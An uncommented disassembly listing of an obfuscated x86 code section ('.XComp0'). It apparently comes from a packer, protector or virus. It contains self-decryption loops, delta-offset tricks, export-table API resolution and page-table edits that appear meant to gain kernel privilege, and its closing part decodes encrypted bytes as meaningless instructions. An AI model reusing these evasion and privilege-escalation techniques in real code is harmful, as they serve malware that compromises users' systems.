		dd 733AD1C1h, 82996FD0h, 0FCDD4F8Fh, 3CE94410h,	1, 4Eh dup(0)
		dd 83000000h, 0F92571BDh, 840F0105h, 4B9h, 9E9h, 0A7571400h
		dd 0FC0FD0D3h, 0C6FC05AAh, 0F9189985h, 14E94305h, 5D000000h
		dd 10FABE6Bh, 625AF5F2h, 4594885Eh, 21B31208h, 0E85A9E9Fh
		dd 4, 0ECA5D0F5h, 11E95250h, 0EF000000h, 0B4C04852h, 60E70F41h
		dd 16F486C6h, 0B607E62Eh, 10E9310Fh, 0F000000h,	2290E1C1h
		dd 0B2DFB645h, 1F702072h, 5AAE4386h, 52505058h,	890F5250h
		dd 0
		dd 5250310Fh, 585A310Fh, 310F585Ah, 10E9h, 4DA72100h, 0EA94D76Dh
		dd 0FCFE7CE4h, 4243BA0Bh, 8B585A3Ah, 0E9042444h, 13h, 7CA9AB8Fh
		dd 0FC6515CDh, 0D328A058h, 4F2E7163h, 8B8C6702h, 60525000h
		dd 871D8CBEh, 61F28B28h, 5250310Fh, 8F0Fh, 310F0000h, 310F5250h
		dd 585A585Ah, 4489585Ah, 890F0424h, 7, 0C57ABE60h, 58613B23h
		dd 8820Fh, 880F0000h, 2, 850F6160h, 1, 0D1B5FFF5h, 0E905F908h
		dd 13h,	6F19A4EEh, 0FD89E6C8h, 5ECE1D73h, 99854C9Ch, 8D702E98h
		dd 0FCC51085h, 0D0FFF805h, 11E960h, 8C2F0000h, 38A95FD1h
		dd 540A138h, 42F9A804h,	0F2AD048h, 8961CEB7h, 0F9080985h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E9203C3Fh, 10h,	7742EE94h, 143C73C6h, 0D799CAEFh
		dd 68F8D660h, 0E8816660h, 6653F18Eh, 615AFB8Bh,	189985C6h
		dd 6A5005F9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0F4B1C357h, 8830F7Bh, 60000000h
		dd 3F9CB866h, 68611EB1h, 876A1B16h, 0CE9h, 8844EC00h, 31FBE60Ah
		dd 7BA155EEh, 24348144h, 2FC7B640h, 0D1B5FFFCh,	0F505F908h
		dd 0C510858Dh, 12E905FCh, 0E9000000h, 16DEAAE7h, 98F61F60h
		dd 0C151F825h, 0BE774AD3h, 0FD0FF6Eh, 182h, 8589FC00h
		dd 5F9207Dh, 0E3B768F8h, 5E9A64Fh, 0D5000000h, 40BE91E4h
		dd 78240481h, 0FC4A3FC4h, 8D1B5FFh, 8B0F05F9h, 8, 28C0Fh
		dd 61600000h, 0C510858Dh, 666005FCh, 8B66D88Bh,	0D0FF61D8h
		dd 12E9h, 49F4AF00h, 8A1347EAh,	0FC3FD22Eh, 2CB086FAh
		dd 0E9ACB985h, 0Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h, 893FA587h
		dd 0F92CB985h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 8E0FF8D7h, 0Ch, 68F0Fh
		dd 870F0000h, 0
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+5F91899h], 50h
		jmp	loc_5CA312
; ---------------------------------------------------------------------------
		dd 0FFBA0FFEh
		db 1Ah,	4Dh
; ---------------------------------------------------------------------------


loc_5CA312:				; CODE XREF: .XComp0:005CA307j
		push	0EC5D9FF8h
		jnb	loc_5CA327
		pusha
		pusha
		popa
		jnz	$+6
		popa


loc_5CA327:				; CODE XREF: .XComp0:005CA317j
		xor	dword ptr [esp], 7BC143AEh
		cmc
		push	dword ptr [ebp+5F92719h]
		cmc
		jmp	loc_5CA34B
; ---------------------------------------------------------------------------
		db 59h
		dd 0FD812B6Dh, 4D5419BBh, 0BE0EE3ACh
		db 27h,	13h, 6Ah
; ---------------------------------------------------------------------------


loc_5CA34B:				; CODE XREF: .XComp0:005CA336j
		lea	eax, [ebp+5F93A6Ah]
		cld
		ja	loc_5CA364
		jp	loc_5CA364
		jz	$+6


loc_5CA364:				; CODE XREF: .XComp0:005CA352j
					; .XComp0:005CA358j
		call	eax
		jz	loc_5CA382
		jmp	loc_5CA382
; ---------------------------------------------------------------------------
		db 73h,	0D2h, 0F2h
		dd 6EA5D4CFh, 37963193h, 0E29311D5h
		db 0ACh, 2Eh
; ---------------------------------------------------------------------------


loc_5CA382:				; CODE XREF: .XComp0:005CA366j
					; .XComp0:005CA36Cj
		mov	[ebp+5F914BDh],	eax
		pusha
		push	edx
		mov	ecx, 17306D84h
		pop	esi
		popa
		jmp	loc_5CA515
; ---------------------------------------------------------------------------
		dw 8D0Fh
		dd 8, 28F0Fh, 61600000h, 0E820F50h, 50000000h, 0F525052h
		dd 0F585A31h, 5A616031h, 242C8958h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 38C35141h, 0BE5085EDh, 10E92371h
		dd 0A000000h, 0ADD2517h, 2BE12A39h, 0E82363E5h,	8B4B3686h
		dd 50006AECh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 7361843Ah, 6660FCC1h, 0AB2CDE81h, 0FCC48361h
		dd 850F60F5h, 1, 0E8F9F9h, 5A000000h, 0EE42EA81h, 45C705FEh
		dd 0FCh, 71BA8300h, 105F925h, 98840Fh, 6A520000h, 0FF0F6A00h
		dd 0F9080992h, 82895A05h, 5FEE926h, 0E92A9A8Dh,	0C75205FEh
		dd 12803h, 0FF505300h, 0F9207D92h, 8D525A05h, 0FEE92A9Ah
		dd 0B2FF5305h, 5FEE926h, 14BD92FFh, 0B5A05F9h, 8D5074C0h
		dd 0FEE92A9Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h
		dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5F90185h
		dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 185828Dh, 0FF5005F9h
		dd 0F92CB992h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h
		dd 0FC45h, 8B610000h, 0C2C9FC45h, 800F0008h, 6,	56DE8B60h
		dd 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9D54A9C3h
; ---------------------------------------------------------------------------
		dec	edx


loc_5CA515:				; CODE XREF: .XComp0:005CA391j
		mov	edx, edx
		jmp	loc_5CA782
; ---------------------------------------------------------------------------
		pusha
		mov	cx, ds
		test	cl, 4
		jz	loc_5CA55E
		push	1
		push	dword ptr [ebp+5F92719h]
		lea	eax, [ebp+5FCC510h]
		call	eax
		mov	[ebp+5F91E05h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20060000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+5F91E05h]
		jmp	loc_5CA590
; ---------------------------------------------------------------------------


loc_5CA55E:				; CODE XREF: .XComp0:005CA523j
		mov	byte ptr [ebp+5F91899h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+5F908D1h]
		lea	eax, [ebp+5FCC510h]
		call	eax
		mov	[ebp+5F90F65h],	eax
		lea	eax, [ebp+5F918C1h]
		push	eax
		push	40h
		push	5
		push	esi
		call	dword ptr [ebp+5F90F65h]


loc_5CA590:				; CODE XREF: .XComp0:005CA559j
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 8B520000h, 428B60D4h, 0AD858908h, 8B05FEEFh,	85890C42h
		dd 5FEEFA5h, 8910428Bh,	0FEEFA985h, 0E3B58D05h,	8D05FEEFh
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0EFADB58Bh, 858B05FEh
		dd 5FEEFA5h, 0EFA9BD83h, 0F0005FEh, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 5FEEFADh, 0F034B58Dh
		dd 858D05FEh, 5B8EA1h, 5A61D0FFh, 0EFAD858Bh, 4C205FEh
		dd 0AD858B00h, 8B05FEEFh, 0AD858900h, 0CF05FEEFh, 0
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+5FEF00Ah],	esi
		mov	[ebp+5FEF006h],	eax
		lea	eax, [ebp+5F934D9h]
		mov	eax, [eax+44h]
		mov	[ebp+5FEF043h],	eax
		lea	esi, [ebp+5FEF079h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		mov	eax, [ebp+5FEF00Ah]
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+5FEF006h]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+5FEF006h]
		mov	esi, [ebx+24h]
		add	esi, [ebp+5FEF006h]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+5FEF006h]
		add	esi, [ebp+5FEF006h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5CA69B:				; CODE XREF: .XComp0:005CA6B9j
					; .XComp0:005CA6C8j
		inc	ecx
		mov	ebx, [ebp+5FEF00Ah]
		mov	edx, [edi]
		add	edx, [ebp+5FEF006h]
		add	edi, 4


loc_5CA6AD:				; CODE XREF: .XComp0:005CA6C1j
		mov	al, [edx]
		test	al, al
		jz	loc_5CA6C6
		cmp	al, [ebx]
		jnz	loc_5CA69B
		inc	ebx
		inc	edx
		jmp	loc_5CA6AD
; ---------------------------------------------------------------------------


loc_5CA6C6:				; CODE XREF: .XComp0:005CA6B1j
		cmp	al, [ebx]
		jnz	loc_5CA69B
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+5FEF006h]
		mov	[ebp+5FEF00Ah],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+5FEF043h], 0C0300000h
		jnz	loc_5CA707
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5CA70F
; ---------------------------------------------------------------------------


loc_5CA707:				; CODE XREF: .XComp0:005CA6F4j
		shr	eax, 12h
		and	eax, 3FF8h


loc_5CA70F:				; CODE XREF: .XComp0:005CA702j
		mov	edi, [ebp+5FEF043h]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5CA781
; ---------------------------------------------------------------------------
		dw 0BD81h
		dd 5FEF043h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5CA732:				; CODE XREF: .XComp0:005CA7ABj
		xor	al, al
		jnz	loc_5CA747
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5CA74F
; ---------------------------------------------------------------------------


loc_5CA747:				; CODE XREF: .XComp0:005CA734j
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5CA74F:				; CODE XREF: .XComp0:005CA742j
		sub	eax, 40000000h
		or	dword ptr [eax], 6
		test	dword ptr [eax], 80h
		jz	locret_5CA781
		cmp	dword ptr [ebp+5FEF043h], 0C0300000h
		jz	locret_5CA781
		and	eax, 3FF8h
		mov	eax, [eax-3FA00000h]
		or	dword ptr [eax], 6

locret_5CA781:				; CODE XREF: .XComp0:005CA724j
					; .XComp0:005CA75Dj ...
		iret
; ---------------------------------------------------------------------------


loc_5CA782:				; CODE XREF: .XComp0:005CA517j
		lea	eax, [ebp+5FEEFB1h]
		mov	[ebp+5F918F1h],	eax
		lea	eax, [ebp+5FEF047h]
		mov	[ebp+5F90DEDh],	eax
		lea	eax, [ebp+5FEF00Eh]
		mov	[ebp+5F9075Dh],	eax
		call	near ptr sub_5CA7B0
		jbe	short loc_5CA732
		jmp	short near ptr loc_5CA7C2+1
; ---------------------------------------------------------------------------
		db 4Ch

; =============== S U B	R O U T	I N E =======================================



sub_5CA7B0	proc far		; CODE XREF: .XComp0:005CA7A6p
		xor	si, 58E3h
		pop	ebx
		add	ebx, 6A93h
		clc
		mov	eax, 0


loc_5CA7C2:				; CODE XREF: .XComp0:005CA7ADj
		jge	loc_5CA7CA
		mov	esi, ebx


loc_5CA7CA:				; CODE XREF: sub_5CA7B0:loc_5CA7C2j
					; .XComp0:005CA833j
		mov	edi, [ebx+eax]
		call	sub_5CA7E3
		retf	0FA8h
sub_5CA7B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C4h, 3Fh, 7Eh
		dd 87006B8Fh, 0AD9B1D6Eh
		db 7Eh,	0EDh, 0BBh

; =============== S U B	R O U T	I N E =======================================



sub_5CA7E3	proc near		; CODE XREF: sub_5CA7B0+1Dp
		jnb	loc_5CA7EB
		mov	ch, 17h


loc_5CA7EB:				; CODE XREF: sub_5CA7E3j
		pop	esi
		sub	edi, 499C92FDh
		mov	si, 22D7h
		add	edi, 19041E0Eh
		pusha
		mov	dx, 3397h
		call	near ptr loc_5CA807+4
		in	eax, dx


loc_5CA807:				; CODE XREF: sub_5CA7E3+1Ep
		cmp	eax, 0B3DF5284h
sub_5CA7E3	endp ; sp-analysis failed

		mov	ah, 5Eh
		popa
		sub	edi, 3A9413B0h
		add	esi, 7CC9AA06h
		push	edi
		movzx	esi, di
		pop	dword ptr [ebx+eax]
		mov	dh, 0B9h
		adc	edx, 70B89B51h
		sub	eax, 4
		cmp	eax, 0FFFF95FCh
		jnz	loc_5CA7CA
		mov	ecx, 6F972265h
		lea	ecx, [ebp+5FEF2E0h]
		push	eax
		adc	bh, 0E9h
		pop	ebx
		mov	[ebp+5F90CDDh],	ecx
		mov	ebx, 29A2CAF0h
		mov	dword ptr [ebp+5F926C1h], 6C4Ch
		mov	eax, [ebp+5F9179Dh]
		mov	dword ptr [ebp+5F900FDh], 0
		stc
		push	dword ptr [ebp+5F91799h]
		push	0
		push	eax
		call	sub_5CA880
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA880	proc near		; CODE XREF: .XComp0:005CA878p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5CA880	endp

; ---------------------------------------------------------------------------
		dd 502408E7h, 0A9C107C7h, 1855958Bh, 95FF05F9h,	5F920D5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EBC35343h
		dd 6A29ACDh, 6AD97Ah, 1AED95FFh, 0C08B05F9h, 687768EBh
		dd 7C3DD53Bh, 143A2881h, 83A89E7Dh, 307459C0h, 855732F8h
		dd 0DBB8B0B2h, 3F9C1FC6h, 22B40BC6h, 3D4ED41h, 58AB009Fh
		dd 0C49033A9h, 7879D19Eh, 38823843h, 0F7EDA22Bh, 48625408h
		dd 2521B9F0h, 837656E7h, 590AFDB6h, 9F25893Eh, 14E2AB72h
		dd 703FB6E5h, 0D8C542E4h, 611DCCA2h, 0A7C5FBCAh, 9CF11F91h
		dd 12E82249h, 6C000000h, 6102EF8h, 1EBF4678h, 268BC9A4h
		dd 3ED15D0Dh, 21F080B1h, 45958959h, 8105F906h, 71FDC1h
		dd 0F1BD8B00h, 6805F909h, 0
; ---------------------------------------------------------------------------
		mov	ax, 0EFE0h
		pop	edx
		mov	[ebp+5F90411h],	ecx


loc_5CA977:				; CODE XREF: .XComp0:005CA9EDj
		push	dword ptr [edx+ecx]
		xor	esi, [ebp+5F90DB5h]
		pop	ebx
		mov	[ebp+5F91489h],	esi
		xor	ebx, 293A4D9Dh
		jo	$+6
		sub	ebx, 19A009F9h
		jmp	loc_5CA9AC
; ---------------------------------------------------------------------------
		dw 4D3Fh
		dd 96DF3A75h, 1D1BCB85h, 0DD9BADA6h
; ---------------------------------------------------------------------------


loc_5CA9AC:				; CODE XREF: .XComp0:005CA999j
		add	ebx, 1B83E96Dh
		mov	[ebp+5F90A3Dh],	ecx
		push	ebx
		mov	esi, eax
		pop	dword ptr [ecx+edx]
		mov	ah, cl
		mov	di, dx
		sub	edx, 4
		jg	$+6
		cmp	edx, 0FFFF8EC4h
		jnz	loc_5CA9E7
		mov	ax, bx
		jmp	loc_5CAA04
; ---------------------------------------------------------------------------
		dd 4D9F6644h
		db 0D5h, 5Fh, 0CDh
; ---------------------------------------------------------------------------


loc_5CA9E7:				; CODE XREF: .XComp0:005CA9D2j
		sub	esi, [ebp+5F92429h]
		jmp	loc_5CA977
; ---------------------------------------------------------------------------
		dw 0A0F2h
		dd 0E211C202h, 1B9D17B2h, 8F45F5FFh, 4F7DF748h
; ---------------------------------------------------------------------------


loc_5CAA04:				; CODE XREF: .XComp0:005CA9DBj
		jmp	loc_5CABD1
; ---------------------------------------------------------------------------
		dd offset loc_418884+4
		dd offset loc_418884+4
		dd offset loc_418884+4
		dd offset loc_418884+4
		dd offset loc_418884+4
		dd offset loc_418884+4
		dd offset loc_418884+4
		dd offset loc_418884+4
		align 4
		dd 3 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 500h, 14h dup(0)
		dd 0CF52E900h, 7A7A15h,	810B00h, 11h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5CABD1:				; CODE XREF: .XComp0:loc_5CAA04j
		jmp	loc_5CAF29
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5FEF5EFh
		pusha
		mov	dword ptr [ebp+5FEF53Ch], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5CAC08
		mov	dword ptr [ebp+5FEF540h], 6
		jmp	loc_5CAC2C
; ---------------------------------------------------------------------------


loc_5CAC08:				; CODE XREF: .XComp0:005CABF3j
		lea	eax, [ebp+5FEF544h]
		push	eax
		lea	eax, [ebp+5FEF594h]
		push	eax
		push	esi
		push	0
		call	sub_5CAC3B
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+5FEF540h],	eax


loc_5CAC2C:				; CODE XREF: .XComp0:005CAC03j
		popa
		add	esi, [ebp+5FEF540h]
		mov	eax, [ebp+5FEF53Ch]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5CAC3B	proc near		; CODE XREF: .XComp0:005CAC19p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_5FEF534	= dword	ptr  5FEF53Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5CAC68
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5CAC74
; ---------------------------------------------------------------------------


loc_5CAC68:				; CODE XREF: sub_5CAC3B+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5CAC74:				; CODE XREF: sub_5CAC3B+28j
		push	ebx
		push	esi
		push	edi


loc_5CAC77:				; CODE XREF: sub_5CAC3B+91j
					; sub_5CAC3B+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5CAC8A:				; CODE XREF: sub_5CAC3B+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5FEF6A6h
		lea	ebp, [ebp+5FEF51Ch]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5CACB7
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5CAC8A


loc_5CACB7:				; CODE XREF: sub_5CAC3B+6Bj
		cmp	cl, 0Bh
		jz	loc_5CAD14
		cmp	al, 66h
		jnz	loc_5CACF5
		cmp	[ebp+var_5], 0
		jnz	loc_5CAC77
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5CACED
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5CAC77
; ---------------------------------------------------------------------------


loc_5CACED:				; CODE XREF: sub_5CAC3B+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5CACF5:				; CODE XREF: sub_5CAC3B+87j
		cmp	al, 67h
		jnz	loc_5CAC77
		cmp	[ebp+var_6], 0
		jnz	loc_5CAC77
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5CAC77
; ---------------------------------------------------------------------------


loc_5CAD14:				; CODE XREF: sub_5CAC3B+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5CAD40
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5CAD45
; ---------------------------------------------------------------------------


loc_5CAD40:				; CODE XREF: sub_5CAC3B+E4j
		movzx	edi, al
		shr	edi, 1


loc_5CAD45:				; CODE XREF: sub_5CAC3B+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5FEF75Eh
		lea	ebp, [ebp+5FEF41Ch]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5CAEC7
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5CAE0B
		dec	ecx
		jz	loc_5CADEE
		dec	ecx
		jnz	loc_5CAE5E
		cmp	[ebp+var_2], 0
		jnz	loc_5CAE5A
		cmp	[ebp+var_5], 0
		jz	loc_5CADCD
		mov	byte ptr [ebp+arg_0+3],	2


loc_5CADCD:				; CODE XREF: sub_5CAC3B+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5FEF7EAh
		mov	[ebp+arg_5FEF534], 1
		pop	ebp
		jmp	loc_5CAE5E
; ---------------------------------------------------------------------------


loc_5CADEE:				; CODE XREF: sub_5CAC3B+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5CAE38
		cmp	[ebp+var_5], 0
		jz	loc_5CAE38
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5CAE38
; ---------------------------------------------------------------------------


loc_5CAE0B:				; CODE XREF: sub_5CAC3B+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5CAE51
		cmp	[ebp+var_5], 0
		jz	loc_5CAE40
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5CAE38
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5CAE38:				; CODE XREF: sub_5CAC3B+1B7j
					; sub_5CAC3B+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5CAE5E
; ---------------------------------------------------------------------------


loc_5CAE40:				; CODE XREF: sub_5CAC3B+1DEj
		cmp	dl, 5
		jnz	loc_5CAE5E
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5CAE5E
; ---------------------------------------------------------------------------


loc_5CAE51:				; CODE XREF: sub_5CAC3B+1D4j
		cmp	dl, 6
		jnz	loc_5CAE5E


loc_5CAE5A:				; CODE XREF: sub_5CAC3B+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5CAE5E:				; CODE XREF: sub_5CAC3B+174j
					; sub_5CAC3B+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5CAE8C
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5CAE6E:				; CODE XREF: sub_5CAC3B+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5CAE6E
		mov	esi, edx


loc_5CAE8C:				; CODE XREF: sub_5CAC3B+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5CAEC1
		cmp	edi, 7Fh
		ja	loc_5CAEC1
		test	bl, 38h
		jnz	loc_5CAEC1
		cmp	[ebp+var_7], 0
		jz	loc_5CAEBB
		movzx	eax, [ebp+var_4]
		jmp	loc_5CAEBE
; ---------------------------------------------------------------------------


loc_5CAEBB:				; CODE XREF: sub_5CAC3B+271j
		push	1
		pop	eax


loc_5CAEBE:				; CODE XREF: sub_5CAC3B+27Bj
		mov	[ebp+var_1], al


loc_5CAEC1:				; CODE XREF: sub_5CAC3B+255j
					; sub_5CAC3B+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5CAEC7:				; CODE XREF: sub_5CAC3B+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5CAEF2
		dec	eax
		dec	eax
		jz	loc_5CAEE8
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5CAEFA
; ---------------------------------------------------------------------------


loc_5CAEE8:				; CODE XREF: sub_5CAC3B+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5CAEF7
; ---------------------------------------------------------------------------


loc_5CAEF2:				; CODE XREF: sub_5CAC3B+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5CAEF7:				; CODE XREF: sub_5CAC3B+2B2j
		add	[ebp+var_1], al


loc_5CAEFA:				; CODE XREF: sub_5CAC3B+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5CAF22
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5CAF0D:				; CODE XREF: sub_5CAC3B+2E1j
					; .XComp0:005CAF84j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5CAF0D


loc_5CAF22:				; CODE XREF: sub_5CAC3B+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5CAC3B	endp

; ---------------------------------------------------------------------------


loc_5CAF29:				; CODE XREF: .XComp0:loc_5CABD1j
		lea	eax, [ebp+5FEF5E9h]
		mov	[ebp+5F907A9h],	eax
		push	341CB211h
		mov	ebp, 61912896h
		aam	0F1h
		mov	ch, 73h
		rol	byte ptr ds:79BC3708h, 0DDh
		jb	short loc_5CAFB9
		inc	dword ptr [ebp-79h]
		cmp	byte ptr cs:[ecx], 87h
		push	eax
		xor	[ebx+esi*8-40h], dl
		sal	byte ptr [edx+631EC407h], cl
		mov	ch, al
		daa
		mov	[edx], esi
		insb
		aas
		mov	ebp, 1C306D12h
		retf
; ---------------------------------------------------------------------------
		db 84h
; ---------------------------------------------------------------------------
		mov	byte ptr ds:8C566D37h, 0CDh


loc_5CAF73:				; CODE XREF: .XComp0:005CAFBCj
		or	eax, 60DF41BBh
		xor	cl, al
		aaa
		pushf
		mov	bh, 0E9h
		inc	ebp
		mov	ah, dh
		lodsd
		in	al, 0ABh	; Interrupt Controller #2, 8259A
		ja	short loc_5CAF0D
		push	ds
		bound	ecx, [ebx+0D30FE0Fh] ; CODE XREF: .XComp0:005CAFE7j
		push	esi
		push	esi
		out	dx, al
		lea	ecx, [esi+3Ch]
		xchg	eax, esp
		xor	eax, 1BE93883h
		sal	dword ptr [edi], 6Dh
		mov	al, 6
		push	cs
		test	dh, dl
		jnb	short loc_5CAFDA
		insd
		pop	edx
		cmp	[edx-7Bh], ah
		xor	ebx, [edi+esi]
		insd
		adc	[ebx-0Ch], dl
		xor	[ecx-4E96EC95h], bh
; ---------------------------------------------------------------------------
		db 0C7h, 13h, 69h
		db 2Bh
; ---------------------------------------------------------------------------


loc_5CAFB9:				; CODE XREF: .XComp0:005CAF4Aj
		sal	dword ptr [edi], 6Dh
		jnz	short loc_5CAF73
		hlt
; ---------------------------------------------------------------------------
		db 96h
		dd 3FAF8DBCh, 0E08CA9BBh, 93CE74B5h, 0C4D88F35h, 0FD54C216h
		dd 0B65D360h
		db 0BBh, 16h
; ---------------------------------------------------------------------------


loc_5CAFDA:				; CODE XREF: .XComp0:005CAFA1j
		cmp	[esi+edx*2+59h], bl
		cmp	[edi+3D69286Ah], dl
		push	esi
		xchg	ebp, ebx
		jecxz	short near ptr loc_5CAF87+2
		cmc
		xor	ch, [ebp+30h]
		push	cs
		insd
